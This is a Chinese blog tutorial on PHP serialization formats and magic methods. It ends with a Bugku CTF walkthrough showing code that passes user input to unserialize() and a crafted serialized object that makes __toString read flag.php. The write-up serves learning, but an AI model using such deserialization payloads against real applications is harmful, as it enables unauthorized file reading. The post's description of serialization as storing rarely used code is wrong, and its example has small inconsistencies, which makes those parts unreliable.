前言

最近在学序列化和反序列化,虽然很高深,但是学习过程也是乐在其中

下面总结了一点,剩下的以后更新

PS:个人见解,如有错误的敬请指正

正文

首先来了解一下什么是序列化

序列化是一种把代码经过加工处理后储存起来的加工方法,一般用在一些极少会调用的代码,这样的好处是减轻系统储存代码的负担,对应着也有反序列化,作用是讲序列化之后的内容还原

序列化和反序列化相关的函数

serialize()、unserialize()、json_encode()、json_decod()

对数组array的处理是这样的:

a:<length>:{type,length,key;type:value;}
a:2:{s:1:"a";i:1;s:1:"b";i:2;}

对数值integer的处理是这样的:

i:value;
i:25;

对布尔值boolean的处理是这样的:

b:0或者1;
b:1;

对对象object的处理是这样的:

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"**";N;} //说明person对象中name属性为Null、age属性为19,**属性为Null 

对字符串string的处理是这样的:

s:length:"value";
s:1:"a";

对空指针null的处理是这样的

N;

结合php中的魔术函数

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行

下面借助bugku上面的一个题目帮助我们理解序列化与反序列化

<script language="php">
class Flag{ //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br />";
        return ("good");
        }
    }
}
$password = unserialize($_GET['password']);  
echo $password;  
</script>

关键点:当对象被当作字符串使用时调用__tostring()函数,所以如果我们给password传入一个序列化的对象,那么echo $password的时候就会调用魔幻函数。

构造payload:

<script language="php">
class Flag{ //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br />";
        return ("good");
        }
    }
}
$obj = new Flag();
$obj->file = "Flag.php"; 
echo serialize($obj);
</script>

生成:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后提交上去,读出flag.php

小结

参考链接:
https://bbs.ichunqiu.com/thread-39169-1-1.html
https://blog.csdn.net/weixin_42751456/article/details/88758908
https://www.cnblogs.com/twlr/p/12287670.html
https://www.cnblogs.com/youyoui/p/8610068.html

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...